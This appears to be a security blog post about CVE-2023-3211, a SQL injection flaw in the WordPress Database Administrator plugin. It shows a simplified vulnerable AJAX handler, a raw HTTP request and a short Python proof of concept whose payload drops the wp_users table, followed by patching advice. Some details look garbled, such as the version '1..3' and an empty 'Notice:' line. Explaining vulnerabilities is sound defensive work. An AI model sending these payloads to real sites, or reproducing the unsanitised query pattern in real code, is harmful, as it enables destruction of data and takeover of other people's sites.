CVE-2023-3211 - SQL Injection in WordPress Database Administrator Plugin — What You Need to Know

In June 2023, a major security flaw was discovered in the WordPress Database Administrator plugin, impacting versions up to and including 1..3. Labeled as CVE-2023-3211, this vulnerability exposes WordPress websites to dangerous SQL injection attacks, thanks to improper input sanitization and escaping in an AJAX handler. Even scarier – this bug can be exploited by anyone on the internet, no login needed.

In this post, we’ll break down exactly what the problem is, show code snippets, and explain how attackers can take advantage of this bug. We will also guide you on how to protect your site.

What is the WordPress Database Administrator Plugin?

The Database Administrator plugin helps site owners manage their WordPress database through the admin dashboard. Tasks like optimizing tables, running queries, or even exporting data are all made easier with this tool.

But, as this case proves, convenience sometimes comes with hidden dangers...

What is CVE-2023-3211?

CVE-2023-3211 is an SQL injection vulnerability in the WordPress Database Administrator plugin. In short, it allows anyone (even if they’re not logged in) to send crafted requests to the site and trick the plugin into running harmful SQL queries.

Where’s the problem?

The vulnerable code is triggered via an AJAX call. Like many WordPress plugins, Database Administrator uses admin-ajax.php to handle backend requests from the interface.

Normally, you’d expect only logged-in admins to reach this functionality, but the plugin’s handler does not check user permissions. Worse, it does not properly sanitize or escape one of the incoming parameters ($_POST['db']), which is then used directly in a SQL statement.

Vulnerable Code Snippet (Simplified)

// This is a simplified, illustrative snippet
function handle_ajax() {
    $db = $_POST['db']; // No sanitization here!

    $sql = "SELECT * FROM $db.mytable";
    $results = $wpdb->get_results($sql);
    // ...
}
add_action('wp_ajax_nopriv_db_admin', 'handle_ajax');
add_action('wp_ajax_db_admin', 'handle_ajax');

Notice:

How Attackers Exploit This

Let’s see an example of how a hacker might leverage this flaw.

Example Attack Request

Suppose a site uses the WordPress Database Administrator plugin and an attacker sends an HTTP POST request like this:

POST /wp-admin/admin-ajax.php?action=db_admin HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded

db=somedb;DROP TABLE wp_users;--

This would result in the following malformed SQL command

SELECT * FROM somedb;DROP TABLE wp_users;--.mytable

Ignore the rest of the statement (-- starts a SQL comment)

*An attacker could tailor their payload to dump sensitive data, escalate privileges, or fully compromise your site.*

Here is a simple Python proof-of-concept that demonstrates this SQL injection

import requests

url = "https://victim-site.com/wp-admin/admin-ajax.php";
data = {
    "action": "db_admin",
    "db": "somedb; DROP TABLE wp_users; --"
}

response = requests.post(url, data=data)
print("Status:", response.status_code)
print("Response:", response.text)

Disclaimer:
This code is for educational purposes only. Do not use against sites you do not own or have explicit permission to test!

1. Update the Plugin

The safest action: Update to the latest version of WordPress Database Administrator or consider disabling it. If no safe update is available, uninstall the plugin and find safer alternatives.

2. Restrict Direct Access for admin-ajax.php

Add security plugins and WAF (Web Application Firewall) rules to limit admin-ajax.php to authenticated users for this action.

References and More Reading

- CVE-2023-3211 on NVD
- WPScan Entry and Proof
- OWASP SQL Injection Cheatsheet
- Plugin Official Page

Conclusion

CVE-2023-3211 is a serious example of how insecure code in WordPress plugins can put your whole site at risk. Never trust user input, always validate and escape data, and keep your plugins up-to-date. If you’re using the WordPress Database Administrator plugin (up to v1..3), patch or remove it immediately — your site, data, and visitors may depend on it!

Timeline

Published on: 01/16/2024 16:15:11 UTC
Last modified on: 01/22/2024 19:46:53 UTC